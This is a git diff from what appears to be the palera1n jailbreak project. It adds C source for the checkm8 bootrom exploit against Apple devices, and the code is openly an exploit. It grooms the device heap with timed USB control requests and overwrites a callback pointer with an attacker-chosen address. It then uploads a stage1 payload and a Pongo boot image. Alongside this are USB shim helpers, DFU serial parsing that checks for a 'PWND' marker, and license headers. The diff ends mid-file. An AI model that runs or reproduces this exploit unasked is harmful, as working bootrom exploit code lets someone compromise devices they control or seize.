void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LOG(fmt, ...) log_write_internal(LOG_INFO, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
|
||||||
|
#define LOG_ERROR(fmt, ...) log_write_internal(LOG_ERROR, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
|
||||||
|
#define LOG_DEBUG(fmt, ...) log_write_internal(LOG_VERBOSE, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
|
||||||
|
|
||||||
|
void sleep_ms(unsigned ms);
|
||||||
|
|
||||||
|
#endif // LIBOPENRA1N__UTILS_H
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
Copyright (c) checkra1n team. All rights reserved.
|
||||||
|
|
||||||
|
* This component is used under the following conditions:
|
||||||
|
* 1. NON-AFFILIATION & ATTRIBUTION:
|
||||||
|
Any product or project utilizing this code must clearly state that
|
||||||
|
the resulting work was NOT developed by the checkra1n team.
|
||||||
|
The checkra1n team is the original author of this specific component,
|
||||||
|
but they do not endorse, support, or take responsibility for this implementation.
|
||||||
|
|
||||||
|
2. MIT LICENSE & DISCLAIMER:
|
||||||
|
Subject to the condition above, this code is provided under the MIT License.
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
|
||||||
|
The binary containing this shellcode is available from the following link: https://checkra.in/1337
|
||||||
|
|
||||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,375 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <checkm8.h>
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <payload.h>
|
||||||
|
#include <dfu.h>
|
||||||
|
#include <stage1.h>
|
||||||
|
#include <utils.h>
|
||||||
|
#include <shim.h>
|
||||||
|
#include <gen/payloads/lz4dec.h>
|
||||||
|
|
||||||
|
#include <lz4/lz4.h>
|
||||||
|
#include <lz4/lz4hc.h>
|
||||||
|
|
||||||
|
static struct {
|
||||||
|
uint8_t b_len, b_descriptor_type;
|
||||||
|
uint16_t bcd_usb;
|
||||||
|
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
||||||
|
uint16_t id_vendor, id_product, bcd_device;
|
||||||
|
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
||||||
|
} device_descriptor;
|
||||||
|
|
||||||
|
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state)
|
||||||
|
{
|
||||||
|
struct {
|
||||||
|
uint8_t status, poll_timeout[3], state, str_idx;
|
||||||
|
} dfu_status;
|
||||||
|
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
result = send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status));
|
||||||
|
|
||||||
|
return result.ret == USB_TRANSFER_OK
|
||||||
|
&& result.sz == sizeof(dfu_status)
|
||||||
|
&& dfu_status.status == status
|
||||||
|
&& dfu_status.state == state;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool dfu_set_state_wait_reset(const usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0);
|
||||||
|
|
||||||
|
return result.ret == USB_TRANSFER_OK
|
||||||
|
&& result.sz == 0
|
||||||
|
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
||||||
|
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
||||||
|
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
||||||
|
}
|
||||||
|
|
||||||
|
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
LOG("checkm8 reset stage");
|
||||||
|
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN);
|
||||||
|
if (result.ret != USB_TRANSFER_OK || result.sz != DFU_FILE_SUFFIX_LEN)
|
||||||
|
goto fail;
|
||||||
|
|
||||||
|
if (!dfu_set_state_wait_reset(handle))
|
||||||
|
goto fail;
|
||||||
|
|
||||||
|
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
|
||||||
|
if (result.ret != USB_TRANSFER_OK || result.sz != EP0_MAX_PACKET_SZ)
|
||||||
|
goto fail;
|
||||||
|
|
||||||
|
return CHECKM8_ERR_NONE;
|
||||||
|
|
||||||
|
fail:
|
||||||
|
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
|
||||||
|
|
||||||
|
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig)
|
||||||
|
{
|
||||||
|
LOG("checkm8 setup stage");
|
||||||
|
|
||||||
|
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
result = send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout);
|
||||||
|
|
||||||
|
if (result.sz < deviceConfig->config_overwrite_pad) {
|
||||||
|
result = send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - result.sz);
|
||||||
|
|
||||||
|
if (result.ret == USB_TRANSFER_STALL)
|
||||||
|
return CHECKM8_ERR_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
|
||||||
|
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1);
|
||||||
|
return result.sz == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void checkm8_stall(const usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout);
|
||||||
|
|
||||||
|
if (result.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle))
|
||||||
|
break;
|
||||||
|
|
||||||
|
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool checkm8_no_leak(const usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1);
|
||||||
|
|
||||||
|
return result.sz == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool checkm8_usb_request_stall(const usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
|
||||||
|
|
||||||
|
return result.ret == USB_TRANSFER_STALL;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *get_usb_serial_number(usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
uint8_t buf[UINT8_MAX];
|
||||||
|
char *str = NULL;
|
||||||
|
size_t i, sz;
|
||||||
|
|
||||||
|
result = send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor));
|
||||||
|
|
||||||
|
if (result.ret != USB_TRANSFER_OK || result.sz != sizeof(device_descriptor))
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
result = send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf));
|
||||||
|
|
||||||
|
if (result.ret != USB_TRANSFER_OK || result.sz != buf[0])
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
sz = buf[0] / 2;
|
||||||
|
if (sz == 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
str = malloc(sz);
|
||||||
|
if (str == NULL)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
for (i = 0; i < sz; ++i) str[i] = (char)buf[2 * (i + 1)];
|
||||||
|
|
||||||
|
str[sz - 1] = '\0';
|
||||||
|
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||||
|
LOG("checkm8 trigger stage");
|
||||||
|
|
||||||
|
size_t i;
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
if(deviceConfig->config_large_leak == 0) {
|
||||||
|
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
|
||||||
|
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||||
|
} else {
|
||||||
|
checkm8_stall(handle);
|
||||||
|
for(i = 0; i < deviceConfig->config_hole; ++i) {
|
||||||
|
while(!checkm8_no_leak(handle)) {}
|
||||||
|
}
|
||||||
|
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||||
|
}
|
||||||
|
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1);
|
||||||
|
} else {
|
||||||
|
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
|
||||||
|
while(!checkm8_usb_request_stall(handle)) {}
|
||||||
|
}
|
||||||
|
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return CHECKM8_ERR_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||||
|
LOG("checkm8 patch stage");
|
||||||
|
|
||||||
|
size_t i, data_sz, packet_sz;
|
||||||
|
void *data;
|
||||||
|
transfer_ret_t result;
|
||||||
|
bool ret = false;
|
||||||
|
|
||||||
|
const uint8_t *checkra1n_payload = NULL;
|
||||||
|
void *overwrite = NULL;
|
||||||
|
size_t checkra1n_payload_sz = 0;
|
||||||
|
size_t overwrite_sz = 0;
|
||||||
|
|
||||||
|
checkm8_overwrite_t checkm8_overwrite;
|
||||||
|
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
|
||||||
|
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
|
||||||
|
overwrite = &checkm8_overwrite;
|
||||||
|
overwrite_sz = sizeof(checkm8_overwrite);
|
||||||
|
|
||||||
|
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
|
||||||
|
if (!ret) return CHECKM8_ERR_UNSUPPORTED;
|
||||||
|
|
||||||
|
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
|
||||||
|
if (!ret) return CHECKM8_ERR_INVALID_PAYLOAD;
|
||||||
|
|
||||||
|
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
||||||
|
LOG_DEBUG("successfully leaked data");
|
||||||
|
} else {
|
||||||
|
LOG_ERROR("failed to leak data");
|
||||||
|
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < 2; i++) {
|
||||||
|
LOG_DEBUG("i = %zu", i);
|
||||||
|
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (overwrite != NULL) {
|
||||||
|
result = send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz);
|
||||||
|
if (result.ret != USB_TRANSFER_STALL) {
|
||||||
|
LOG_ERROR("failed to send overwrite data");
|
||||||
|
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; ret && i < data_sz; i += packet_sz) {
|
||||||
|
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
||||||
|
|
||||||
|
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz);
|
||||||
|
}
|
||||||
|
|
||||||
|
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// todo: do something with the result
|
||||||
|
|
||||||
|
free(data);
|
||||||
|
|
||||||
|
return ret ? CHECKM8_ERR_NONE : CHECKM8_ERR_TRANSFER_FAILED;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool compress_pongo(const uint8_t *bin, size_t bin_len, uint8_t **out, size_t *out_len)
|
||||||
|
{
|
||||||
|
int src_size = (int)bin_len;
|
||||||
|
int max_size = LZ4_compressBound(src_size);
|
||||||
|
|
||||||
|
uint8_t *buf = malloc(max_size);
|
||||||
|
if (!buf)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
int size = LZ4_compress_HC(
|
||||||
|
(const char *)bin,
|
||||||
|
(char *)buf,
|
||||||
|
src_size,
|
||||||
|
max_size,
|
||||||
|
LZ4HC_CLEVEL_MAX
|
||||||
|
);
|
||||||
|
|
||||||
|
if (size <= 0) {
|
||||||
|
free(buf);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
*out = buf;
|
||||||
|
*out_len = (size_t)size;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define SHELLCODE_SZ (512)
|
||||||
|
|
||||||
|
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len)
|
||||||
|
{
|
||||||
|
size_t pongoSize;
|
||||||
|
uint8_t *pongo;
|
||||||
|
|
||||||
|
if (!compress_pongo(pongo_bin, pongo_bin_len, &pongo, &pongoSize))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LOG("Sending pongo image");
|
||||||
|
|
||||||
|
uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
|
||||||
|
if (!payload) {
|
||||||
|
free(pongo);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
|
||||||
|
memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
|
||||||
|
|
||||||
|
free(pongo);
|
||||||
|
|
||||||
|
pongo = payload;
|
||||||
|
pongoSize += SHELLCODE_SZ;
|
||||||
|
|
||||||
|
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
|
||||||
|
*pongoSizeInData = (uint32_t)(pongoSize - SHELLCODE_SZ);
|
||||||
|
|
||||||
|
*out = pongo;
|
||||||
|
*out_len = pongoSize;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len)
|
||||||
|
{
|
||||||
|
transfer_ret_t result;
|
||||||
|
|
||||||
|
size_t len = 0;
|
||||||
|
|
||||||
|
while (len < pongo_bin_len) {
|
||||||
|
size_t chunk = (pongo_bin_len - len > 0x800) ? 0x800 : (pongo_bin_len - len);
|
||||||
|
retry:
|
||||||
|
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongo_bin + len, chunk);
|
||||||
|
|
||||||
|
if (result.sz != chunk || result.ret != USB_TRANSFER_OK)
|
||||||
|
{
|
||||||
|
LOG_DEBUG("retrying at len = %zu", len);
|
||||||
|
sleep_ms(100);
|
||||||
|
goto retry;
|
||||||
|
}
|
||||||
|
|
||||||
|
len += chunk;
|
||||||
|
LOG_DEBUG("len = %zu", len);
|
||||||
|
}
|
||||||
|
|
||||||
|
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
|
||||||
|
if (result.ret != USB_TRANSFER_OK)
|
||||||
|
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||||
|
|
||||||
|
return CHECKM8_ERR_NONE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <dfu.h>
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
uint16_t dfu_serial_number_get_cpid(char *serial) {
|
||||||
|
char *cpid = strstr(serial, "CPID:");
|
||||||
|
if (cpid == NULL) { return -1; }
|
||||||
|
return strtol(cpid + 5, NULL, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t dfu_serial_number_get_bdid(char *serial) {
|
||||||
|
char *bdid = strstr(serial, "BDID:");
|
||||||
|
if (bdid == NULL) { return -1; }
|
||||||
|
return strtoul(bdid + 5, NULL, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t dfu_serial_number_get_ecid(char *serial) {
|
||||||
|
char *ecid = strstr(serial, "ECID:");
|
||||||
|
if (ecid == NULL) { return -1; }
|
||||||
|
return strtoull(ecid + 5, NULL, 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
|
||||||
|
char *DFU = strstr(serial, "SRTG");
|
||||||
|
return DFU != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool dfu_serial_number_is_pwned(char *serial) {
|
||||||
|
char *pwnd = strstr(serial, "PWND:");
|
||||||
|
return pwnd != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
|
||||||
|
char *yolo = strstr(serial, "YOLO");
|
||||||
|
return yolo != NULL;
|
||||||
|
}
|
||||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,19 +1,37 @@
|
|||||||
#include "payload.h"
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <payload.h>
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
|
|
||||||
#include "../utils.h"
|
#include <utils.h>
|
||||||
|
|
||||||
#include "../gen/payloads/yolo_s8000.h"
|
#include <gen/payloads/yolo_s8000.h>
|
||||||
#include "../gen/payloads/yolo_s8001.h"
|
#include <gen/payloads/yolo_s8001.h>
|
||||||
#include "../gen/payloads/yolo_s8003.h"
|
#include <gen/payloads/yolo_s8003.h>
|
||||||
#include "../gen/payloads/yolo_t7000.h"
|
#include <gen/payloads/yolo_t7000.h>
|
||||||
#include "../gen/payloads/yolo_t7001.h"
|
#include <gen/payloads/yolo_t7001.h>
|
||||||
#include "../gen/payloads/yolo_t8010.h"
|
#include <gen/payloads/yolo_t8010.h>
|
||||||
#include "../gen/payloads/yolo_t8011.h"
|
#include <gen/payloads/yolo_t8011.h>
|
||||||
#include "../gen/payloads/yolo_t8012.h"
|
#include <gen/payloads/yolo_t8012.h>
|
||||||
#include "../gen/payloads/yolo_t8015.h"
|
#include <gen/payloads/yolo_t8015.h>
|
||||||
|
|
||||||
bool checkm8_find_device_configuration_for_cpid(
|
bool checkm8_find_device_configuration_for_cpid(
|
||||||
uint16_t cpid,
|
uint16_t cpid,
|
||||||
@@ -200,7 +218,7 @@ bool create_pongo_payload_for_device(
|
|||||||
const uint8_t **payload,
|
const uint8_t **payload,
|
||||||
size_t *payloadSize)
|
size_t *payloadSize)
|
||||||
{
|
{
|
||||||
LOG_VERBOSE("Preparing YoloDFU payload for CPID 0x%x", cpid);
|
LOG_DEBUG("Preparing YoloDFU payload for CPID 0x%x", cpid);
|
||||||
|
|
||||||
*payload = NULL;
|
*payload = NULL;
|
||||||
*payloadSize = 0;
|
*payloadSize = 0;
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
|
||||||
|
* Copyright (c) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: Apache-2.0
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <shim.h>
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
# include <usb_iokit.h>
|
||||||
|
#else
|
||||||
|
# include <usb_libusb.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
void *p_data;
|
||||||
|
|
||||||
|
if(w_len == 0) {
|
||||||
|
return send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0);
|
||||||
|
} else if((p_data = malloc(w_len)) != NULL) {
|
||||||
|
memset(p_data, '\0', w_len);
|
||||||
|
result = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len);
|
||||||
|
free(p_data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout) {
|
||||||
|
transfer_ret_t result;
|
||||||
|
void *p_data;
|
||||||
|
|
||||||
|
if(w_len == 0) {
|
||||||
|
return send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout);
|
||||||
|
} else if((p_data = malloc(w_len)) != NULL) {
|
||||||
|
memset(p_data, '\0', w_len);
|
||||||
|
result = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout);
|
||||||
|
free(p_data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
@@ -1,11 +1,38 @@
|
|||||||
#include "stage1.h"
|
/*
|
||||||
|
* ra1npoc - https://github.com/kok3shidoll/ra1npoc
|
||||||
|
*
|
||||||
|
* Copyright (C) 2021 - 2023 kok3shidoll
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stage1.h>
|
||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
#include "payload.h"
|
#include <payload.h>
|
||||||
|
|
||||||
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
|
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
|
||||||
|
|
||||||
@@ -0,0 +1,342 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2023 0x7ff
|
||||||
|
* Copyright (C) 2023 Mineek
